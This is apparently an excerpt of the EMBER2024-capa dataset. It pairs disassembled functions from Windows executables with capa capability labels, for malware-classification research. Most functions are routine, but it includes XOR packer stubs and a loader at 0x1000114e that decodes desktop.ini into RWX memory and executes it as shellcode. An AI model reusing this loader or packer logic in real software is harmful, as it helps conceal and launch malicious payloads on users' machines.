joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4265a5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041f38f
and dword [ebp - 4], 0
cmp dword [0x4513b8], 0
mov ebx, eax
jne 0x426656
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x426707
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x426707
push eax
call fcn.0041f31d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4513b8], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4513bc], eax
call esi
push eax
call fcn.0041f31d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4513c0], eax
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c8], eax
test eax, eax
je 0x426656
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041f31d
pop ecx
mov dword [0x4513c4], eax
mov eax, dword [0x4513c4]
cmp eax, ebx
je 0x4266ae
cmp dword [0x4513c8], ebx
je 0x4266ae
push eax
call fcn.0041f398
push dword [0x4513c8]
mov esi, eax
call fcn.0041f398
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4266ae
test edi, edi
je 0x4266ae
call esi
test eax, eax
je 0x4266a5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4266a5
test byte [ebp - 0xc], 1
jne 0x4266ae
or dword [ebp + 0x10], 0x200000
jmp 0x4266e7
mov eax, dword [0x4513bc]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4266e7
mov eax, dword [0x4513c0]
cmp eax, ebx
je 0x4266e7
push eax
call fcn.0041f398
pop ecx
test eax, eax
je 0x4266e7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4513b8]
call fcn.0041f398
pop ecx
test eax, eax
je 0x426707
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x426709
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x50077f27
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x29fd4af2
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x41e1a0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x41e1c2
movzx eax, word [esp]
jmp 0x41e1c4
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x41f214
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x41f339
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0041f01c
mov esi, eax
mov eax, dword [0x4ab6c0]
cmp byte [eax], 0
je 0x41f2e1
mov eax, dword [0x4ab524]
call fcn.00405800
call fcn.00405544
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41f1e4]
call fcn.00409f74
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x41f354
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
jmp 0x41f31d
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x4ab4f8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4af634]
call fcn.0040a364
push eax
call sub.user32.dll_LoadStringW
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f340
lea eax, [ebp - 4]
mov edx, dword [0x41f1e4]
call fcn.0040a098
ret
Function at 0x422c0c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov edx, ebx
mov eax, esp
call fcn.0041a884
add esp, 0x208
pop ebx
ret

Function at 0x422c38
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryW
mov edx, ebx
mov eax, esp
call fcn.0041a884
add esp, 0x208
pop ebx
ret

Function at 0x422d94
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x422eca
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x422eb4
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422df1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x422eb4
cmp dword [ebp - 0x14], 0
jne 0x422e06
mov eax, dword [ebp - 0xc]
call fcn.004079f4
mov bl, 1
jmp 0x422eb4
cmp dword [ebp - 0x14], 0x70000000
jb 0x422e14
call fcn.0041f378
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00407b7c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.00407f74
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW
cmp eax, 0xea
je 0x422dba
test eax, eax
jne 0x422eb4
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x422e62
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x422eb4
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x422e6a
dec esi
test esi, esi
je 0x422e79
mov eax, dword [ebp - 4]
cmp word [eax + esi*2 - 2], 0
je 0x422e69
cmp dword [ebp - 0x10], 7
jne 0x422e84
test esi, esi
je 0x422e84
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00408644
cmp dword [ebp - 0x10], 7
jne 0x422ea7
test esi, esi
je 0x422ea7
lea eax, [ebp - 4]
call fcn.00407f74
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00407dd4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x422ed1
lea eax, [ebp - 4]
call fcn.004079f4
ret

Function at 0x424488
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4b1904
mov eax, esi
mov edx, 8
test al, 1
je 0x4244a4
shr eax, 1
xor eax, 0xedb88320
jmp 0x4244a6
shr eax, 1
dec edx
jne 0x424497
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x424490
pop esi
ret
Function at 0x4244bc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4b1900], 0
jne 0x4244e6
call fcn.00424488
mov dword [esp], 0x4b1900
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x424510
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4b1904]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4244ec
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x426f4c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00426f00
test al, al
jne 0x426f6d
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x426fb9
xor eax, eax
push ebp
push 0x426fa9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004084c8
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426fb0
lea eax, [ebp - 0xc]
call fcn.00426f3c
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x466c18
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x466c20
mov eax, edx
pop esi
pop ebx
ret

Function at 0x49183c
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xf]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x49188a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.00491300
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4918a3
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4a0c10
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4a0c18
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4a0d05
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00422c64
mov edx, dword [ebp - 8]
mov ecx, 0x4a0d20
xor eax, eax
call fcn.004a0af4
push 0
mov eax, dword [ebp - 4]
call fcn.004084c8
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x4a0cd3
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x4a0c32
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x3b
call fcn.00426d70
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00419f38
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.004231e0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x70
call fcn.00426d40
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x414ecc]
call fcn.0041f384
call fcn.004070f0
jmp 0x4a0c32
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00407dd4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0d0c
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00407a54
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00407a54
ret

Function at 0x4a0d34
Capabilities:
Shutdown system

Disassembly:
push ebx
push esi
add esp, 0xffffffec
mov esi, edx
mov ebx, eax
call fcn.0042004c
cmp eax, 2
jne 0x4a0da2
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x4a0d5d
xor eax, eax
jmp 0x4a0daf
lea eax, [esp + 8]
push eax
push 0x4a0db8
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x4a0da2
xor eax, eax
jmp 0x4a0daf
push esi
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
pop esi
pop ebx
ret
Function at 0x4a0df0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x4a0e4a
inc esi
xor edi, edi
cmp edi, 1
jne 0x4a0e16
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x4a0e24
cmp edi, 1
jle 0x4a0e24
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00426f4c
test eax, eax
jne 0x4a0e4a
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x4a0e4a
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x4a0e4a
inc edi
dec esi
jne 0x4a0e06
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4a0e54
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
movzx eax, bx
push eax
call sub.kernel32.dll_GetLocaleInfoW
test eax, eax
jle 0x4a0e78
mov eax, dword [ebp - 4]
jmp 0x4a0e7b
or eax, 0xffffffff
pop ebx
pop ecx
pop ebp
ret

Function at 0x4a0e80
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x4a0ecd
xor ebx, ebx
jmp 0x4a0ec2
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.004198cc
test eax, eax
jne 0x4a0ec1
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x4a0f78
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x4a0ea3
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x4a0ed9
je 0x4a0ee2
jmp 0x4a0eeb
call fcn.00422f10
mov esi, eax
jmp 0x4a0eed
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x4a0eed
xor esi, esi
test si, si
je 0x4a0f78
xor ebx, ebx
jmp 0x4a0f13
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x4a0f12
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x4a0f78
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x4a0efa
xor ebx, ebx
jmp 0x4a0f6d
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov dx, 0x3ff
and dx, si
movzx edx, dx
cmp eax, edx
jne 0x4a0f6c
mov ax, 0x3ff
and ax, si
cmp ax, 4
jne 0x4a0f61
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.004a0e54
push eax
mov eax, esi
call fcn.004a0e54
pop edx
cmp edx, eax
jne 0x4a0f6c
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x4a0f78
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x4a0f22
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x4a1360
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a1435
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a1450
push ebx
push 0x4a1460
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087a4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405864
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084c8
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4a13e0
mov al, 0x72
call fcn.004a0f88
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004a1334
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4a13e9
call fcn.004a1334
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a143c
lea eax, [ebp - 4]
call fcn.004079f4
ret

Function at 0x4a14e8
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4a15b3
jmp 0x4a15a7
cmp dword [esi + 0x10], 0x1000
jne 0x4a1593
test byte [esi + 0x15], 1
jne 0x4a1593
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4a1544
cmp ebp, 2
je 0x4a1544
cmp ebp, 0x10
je 0x4a1544
cmp ebp, 0x20
jne 0x4a1560
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4a1560
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4a1571
mov eax, dword [esi]
add eax, ebx
call fcn.004a14e0
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4a1564
cmp byte [esp + 4], 0
je 0x4a1593
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4a15b3
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4a1519
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x609a3cba
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x15d31484
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401077
Capabilities:
Print debug messages

Disassembly:
push esi
lea eax, [esp + 0xc]
push eax
push dword [esp + 0xc]
mov esi, section..data
push esi
call dword [sym.imp.USER32.dll_wvsprintfA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x200010
push str.Loader
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
ret

Function at 0x401108
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x2e4]
xor edi, edi
push eax
xor ebx, ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x401288
cmp eax, esi
jae 0x40128e
cmp word [ebp - 0x2e4], di
lea eax, [ebp - 0x2e4]
je 0x40115a
inc eax
inc eax
cmp word [eax], di
jne 0x401153
lea ecx, [ebp - 0x9e]
push ecx
mov edx, str._version.dll
call fcn.0040103a
push dword [0x40440c]
lea eax, [ebp - 0x2e4]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
cmp ebx, edi
je 0x401288
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetFileVersionInfoW
push ebx
call esi
cmp eax, edi
mov dword [ebp - 0x1c], eax
je 0x401288
push str.GetFileVersionInfoSizeW
push ebx
call esi
mov edi, eax
test edi, edi
je 0x401288
push str.VerQueryValueW
push ebx
call esi
mov esi, eax
test esi, esi
je 0x401288
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call edi
mov ecx, eax
test ecx, ecx
mov dword [ebp - 4], ecx
je 0x40128e
call fcn.0040190f
test eax, eax
mov dword [ebp - 8], eax
je 0x40128e
push eax
push dword [ebp - 4]
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [ebp - 0x1c]
test eax, eax
je 0x40128e
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push str.VarFileInfoTranslation
push dword [ebp - 8]
call esi
test eax, eax
je 0x40128e
cmp dword [ebp - 4], 4
jb 0x40128e
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x9c]
push str.StringFileInfo_04x_04xArguments
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 8]
call esi
test eax, eax
je 0x40128e
cmp dword [ebp - 0xc], 0
je 0x40128e
mov eax, dword [ebp - 4]
test eax, eax
je 0x40128e
lea ecx, [eax + eax + 2]
call fcn.0040190f
push dword [ebp - 4]
mov esi, eax
push dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov eax, dword [ebp - 4]
and word [esi + eax*2], 0
jmp 0x40128e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 8]
call fcn.00401920
test ebx, ebx
je 0x4012a1
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret 4